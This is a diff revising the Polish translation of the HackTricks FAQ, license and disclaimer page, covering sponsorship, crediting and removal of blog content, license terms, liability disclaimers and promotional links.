{% hint style="warning" %}
-* **Dlaczego masz sponsorów? Czy książki HackTricks są w celach komercyjnych?**
+* **Dlaczego macie sponsorów? Czy książki HackTricks są w celach komercyjnych?**
{% endhint %}
-Pierwszą **wartością HackTricks** jest oferowanie **DARMOWYCH** edukacyjnych zasobów do hakowania **WSZYSTKIM** na świecie. Zespół HackTricks **poświęcił tysiące godzin** na udostępnienie tej treści, ponownie, **za darmo**.
+Pierwszą **wartością HackTricks** jest oferowanie **DARMOWYCH** zasobów edukacyjnych z zakresu hakerstwa dla **WSZYSTKICH** na świecie. Zespół HackTricks poświęcił **tysiące godzin** na udostępnienie tej zawartości, ponownie, za **DARMO**.
-Jeśli uważasz, że książki HackTricks są tworzone w celach **komercyjnych**, jesteś **CAŁKOWICIE W BŁĘDZIE**.
+Jeśli sądzisz, że książki HackTricks są tworzone w celach **komercyjnych**, jesteś **CAŁKOWICIE W BŁĘDZIE**.
-Mamy sponsorów, ponieważ, chociaż cała treść jest DARMOWA, chcemy **dać społeczności możliwość docenienia naszej pracy**, jeśli chcą. Dlatego oferujemy ludziom możliwość dotacji dla HackTricks za pośrednictwem [**sponsorów Githuba**](https://github.com/sponsors/carlospolop), a **istotne firmy cyberbezpieczeństwa** sponsorują HackTricks i **umieszczają reklamy** w książce, zawsze w miejscach, gdzie są **widoczne**, ale **nie przeszkadzają w procesie nauki**, jeśli ktoś skupia się na treści.
+Mamy sponsorów, ponieważ chcemy **dać społeczności możliwość docenienia naszej pracy**, jeśli chcą. Dlatego oferujemy ludziom możliwość wsparcia HackTricks poprzez [**sponsorów Githuba**](https://github.com/sponsors/carlospolop), a **istotne firmy cyberbezpieczeństwa** sponsorują HackTricks i **umieszczają reklamy** w książce, zawsze umieszczając reklamy w miejscach, gdzie są **widoczne**, ale **nie przeszkadzają w procesie nauki**, jeśli ktoś skupia się na treści.
-Nie znajdziesz w HackTricks irytujących reklam jak w innych blogach, które mają znacznie mniej treści niż HackTricks, ponieważ HackTricks nie jest tworzone w celach komercyjnych.
+Nie znajdziesz w HackTricks irytujących reklam jak w innych blogach z dużo mniejszą zawartością niż w HackTricks, ponieważ HackTricks nie jest tworzony w celach komercyjnych.
{% hint style="danger" %}
-* **Co powinienem zrobić, jeśli jakaś strona HackTricks opiera się na moim wpisie na blogu, ale nie jest do niego odwołanie?**
+* **Co powinienem zrobić, jeśli jakaś strona HackTricks opiera się na moim wpisie na blogu, ale nie jest zreferencjonowana?**
{% endhint %}
-**Przepraszamy bardzo. To nie powinno się zdarzyć**. Prosimy o poinformowanie nas za pośrednictwem problemów Github, Twittera, Discorda... o linku do strony HackTricks z treścią i linku do Twojego bloga, a **sprawdzimy to i dodamy tak szybko, jak to możliwe**.
+**Przepraszamy bardzo. To nie powinno mieć miejsca**. Proszę, daj nam znać poprzez problemy na Githubie, Twittera, Discord... link do strony HackTricks z treścią i link do Twojego bloga, a **sprawdzimy to i dodamy referencję tak szybko, jak to możliwe**.
{% hint style="danger" %}
-* **Co powinienem zrobić, jeśli treść z mojego bloga jest w HackTricks i nie chcę, żeby tam była?**
+* **Co powinienem zrobić, jeśli treść z mojego bloga znajduje się w HackTricks i nie chcę, aby tam była?**
{% endhint %}
-W każdym przypadku wiedz, że w takim przypadku HackTricks poprawiłby Twoje **SEO** i **zachęcał** ludzi do **sprawdzenia Twojej strony** (ludzie wspominali nam, że od czasu, gdy ich strona jest w HackTricks, otrzymują więcej odwiedzin). Jeśli nadal chcesz, aby treść Twojego bloga została usunięta z HackTricks, daj nam znać.
+Należy zauważyć, że posiadanie linków do Twojej strony w HackTricks:
-Należy zauważyć, że pytając o to, zdecydowanie **usuniemy każdy link do Twojego bloga**, a także jakąkolwiek treść opartą na nim.
+* Poprawia Twoje **SEO**
+* Treść jest **tłumaczona na ponad 15 języków**, co umożliwia większej liczbie osób dostęp do tej treści
+* **HackTricks zachęca** ludzi do **odwiedzenia Twojej strony** (kilka osób wspomniało nam, że od kiedy ich strona jest w HackTricks, otrzymują więcej odwiedzin)
+
+Jeśli nadal chcesz, aby treść z Twojego bloga została usunięta z HackTricks, daj nam znać, a zdecydowanie **usuniemy każdy link do Twojego bloga** oraz wszelką treść opartą na nim.
{% hint style="danger" %}
-* **Co powinienem zrobić, jeśli w HackTricks znajdę skopiowaną treść?**
+* **Co powinienem zrobić, jeśli znajdę skopiowaną treść w HackTricks?**
{% endhint %}
-**Niestety, ta praktyka mogła mieć miejsce na początku projektu, kiedy ta strona była tylko notatkami pentestera**. Zawsze staramy się **przyznać oryginalnym autorom wszelkie zasługi**. Jeśli znajdziesz stronę z skopiowaną treścią (nawet z odwołaniem do oryginalnego źródła), daj nam znać, a my ją **usuniemy**, **zostawimy link** lub **przepiszemy**.
+Zawsze **przypisujemy oryginalnym autorom całą zasługę**. Jeśli znajdziesz stronę z skopiowaną treścią bez podania oryginalnego źródła, daj nam znać, a albo **usuniemy to**, albo **dodamy link przed tekstem**, albo **przepiszemy to dodając link**.
## LICENCJA
-Prawa autorskie © Wszelkie prawa zastrzeżone, chyba że zaznaczono inaczej.
+Prawa autorskie © Wszelkie prawa zastrzeżone, chyba że określono inaczej.
#### Podsumowanie licencji:
* Atrybucja: Masz prawo do:
-* Udostępnianie — kopiowanie i rozpowszechnianie materiału w dowolnym medium lub formacie.
-* Adaptacja — remiksowanie, przekształcanie i tworzenie na podstawie materiału.
+* Dzielenia się — kopiowania i rozpowszechniania materiału w dowolnym medium lub formacie.
+* Adaptacji — miksowania, przekształcania i tworzenia na bazie tego materiału.
#### Dodatkowe warunki:
-* Treść osób trzecich: Niektóre części tego bloga/książki mogą zawierać treści pochodzące z innych źródeł, takie jak fragmenty z innych blogów lub publikacji. Wykorzystanie takiej treści odbywa się zgodnie z zasadami dozwolonego użytku lub za wyraźną zgodą odpowiednich właścicieli praw autorskich. Prosimy o odniesienie się do oryginalnych źródeł w celu uzyskania szczegółowych informacji na temat licencjonowania treści osób trzecich.
-* Autorstwo: Oryginalna treść autorstwa HackTricks podlega warunkom tej licencji. Zachęcamy do przypisywania tej pracy autorowi podczas jej udostępniania lub adaptowania.
+* Treści osób trzecich: Niektóre części tego bloga/książki mogą zawierać treści z innych źródeł, takie jak fragmenty z innych blogów lub publikacji. Użycie takich treści odbywa się zgodnie z zasadami dozwolonego użytku lub za wyraźną zgodą odpowiednich właścicieli praw autorskich. Prosimy o odniesienie się do oryginalnych źródeł w celu uzyskania konkretnych informacji dotyczących licencjonowania treści osób trzecich.
+* Autorstwo: Oryginalna treść autorstwa HackTricks podlega warunkom tej licencji. Zachęcamy do przypisywania tej pracy autorowi podczas jej udostępniania lub adaptacji.
#### Wyjątki:
-* Użytek komercyjny: W przypadku pytań dotyczących komercyjnego wykorzystania tej treści prosimy o kontakt.
+* Użytek komercyjny: W przypadku zapytań dotyczących komercyjnego wykorzystania tej treści, prosimy o kontakt.
-Ta licencja nie przyznaje żadnych praw znaków towarowych ani praw do marki w odniesieniu do treści. Wszystkie znaki towarowe i marki prezentowane w tym blogu/książce są własnością ich odpowiednich właścicieli.
+Ta licencja nie przyznaje żadnych praw znaków towarowych ani brandingowych w odniesieniu do treści. Wszystkie znaki towarowe i marki prezentowane w tym blogu/książce są własnością ich odpowiednich właścicieli.
**Korzystając z HackTricks, zgadzasz się przestrzegać warunków tej licencji. Jeśli nie zgadzasz się z tymi warunkami, proszę, nie korzystaj z tej strony internetowej.**
## **Oświadczenie**
{% hint style="danger" %}
-Ta książka, 'HackTricks', ma charakter wyłącznie edukacyjny i informacyjny. Treść w tej książce jest udostępniana na zasadzie "takiej, jaka jest", a autorzy i wydawcy nie udzielają żadnych gwarancji ani zapewnień, wyraźnych ani dorozumianych, co do kompletności, dokładności, niezawodności, odpowiedniości lub dostępności informacji, produktów, usług lub związanych z nimi grafik zawartych w tej książce. Jakiekolwiek poleganie na takich informacjach odbywa się wyłącznie na własne ryzyko.
+Ta książka, 'HackTricks', jest przeznaczona wyłącznie do celów edukacyjnych i informacyjnych. Zawartość w tej książce jest udostępniana w formie 'tak jak jest', a autorzy i wydawcy nie dokonują żadnych oświadczeń ani gwarancji jakiejkolwiek natury, wyraźnych lub dorozumianych, co do kompletności, dokładności, niezawodności, odpowiedniości lub dostępności informacji, produktów, usług lub związanych z nimi grafik zawartych w tej książce. Jakiekolwiek poleganie na takich informacjach odbywa się więc wyłącznie na własne ryzyko użytkownika.
-Autorzy i wydawcy nie ponoszą żadnej odpowiedzialności za jakąkolwiek stratę lub szkodę, w tym, między innymi, pośrednią lub wynikową stratę lub szkodę, ani za jakiekolwiek straty lub szkody wynikające z utraty danych lub zysków wynikających z korzystania z tej książki.
+Autorzy i wydawcy nie ponoszą żadnej odpowiedzialności za jakąkolwiek stratę lub szkodę, w tym, między innymi, pośrednią lub wynikową szkodę lub stratę, lub jakąkolwiek inną szkodę lub stratę wynikającą z utraty danych lub zysków wynikających z korzystania z tej książki.
-Ponadto, opisane w tej książce techniki i wskazówki są udostępniane wyłącznie w celach edukacyjnych i informacyjnych i nie powinny być wykorzystywane do jakichkolwiek nielegalnych ani szkodliwych działań. Autorzy i wydawcy nie popierają ani nie wspierają żadnych nielegalnych ani nieetycznych działań, a jakiekolwiek wykorzystanie informacji zawartych w tej książce odbywa się na własne ryzyko i według własnego uznania użytkownika.
+Ponadto techniki i wskazówki opisane w tej książce są udostępniane wyłącznie w celach edukacyjnych i informacyjnych, i nie powinny być używane do jakichkolwiek nielegalnych lub szkodliwych działań. Autorzy i wydawcy nie popierają ani nie wspierają żadnych nielegalnych ani niemoralnych działań, a każde wykorzystanie informacji zawartych w tej książce odbywa się na własne ryzyko i według własnego uznania użytkownika.
-Użytkownik jest wyłącznie odpowiedzialny za wszelkie działania podjęte na podstawie informacji zawartych w tej książce i powinien zawsze szukać profesjonalnej porady i pomocy przy próbie wdrożenia jakiejkolwiek z opisanych tu technik lub wskazówek.
+Użytkownik ponosi wyłączną odpowiedzialność za wszelkie działania podejmowane na podstawie informacji zawartych w tej książce, i zawsze powinien szukać profesjonalnej porady i pomocy przy próbie wdrożenia któregokolwiek z opisanych tu technik lub wskazówek.
-Korzystając z tej książki, użytkownik zgadza się zwolnić autorów i wydawców od jakiejkolwiek odpowiedzialności za wszelkie szkody, straty lub szkody, które mogą wyniknąć z korzystania z tej książki lub jakiejkolwiek informacji w niej zawartych.
+Korzystając z tej książki, użytkownik zgadza się zwolnić autorów i wydawców od wszelkiej odpowiedzialności za jakiekolwiek szkody, straty lub szkody, które mogą wyniknąć z korzystania z tej książki lub jakichkolwiek informacji w niej zawartych.
{% endhint %}
-Naucz się hakować AWS od zera do bohatera z htARTE (HackTricks AWS Red Team Expert)!
+Dowiedz się, jak hakować AWS od zera do bohatera z htARTE (HackTricks AWS Red Team Expert)!
Inne sposoby wsparcia HackTricks:
-* Jeśli chcesz zobaczyć swoją **firmę reklamowaną w HackTricks** lub **pobrać HackTricks w formacie PDF**, sprawdź [**PLAN SUBSKRYPCJI**](https://github.com/sponsors/carlospolop)!
+* Jeśli chcesz zobaczyć swoją **firmę reklamowaną w HackTricks** lub **pobrać HackTricks w formacie PDF**, sprawdź [**PLAN SUBSKRYPCYJNY**](https://github.com/sponsors/carlospolop)!
* Zdobądź [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
-* Odkryj [**Rodzin
+* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family)
+* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
+* **Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) na Githubie.
+
+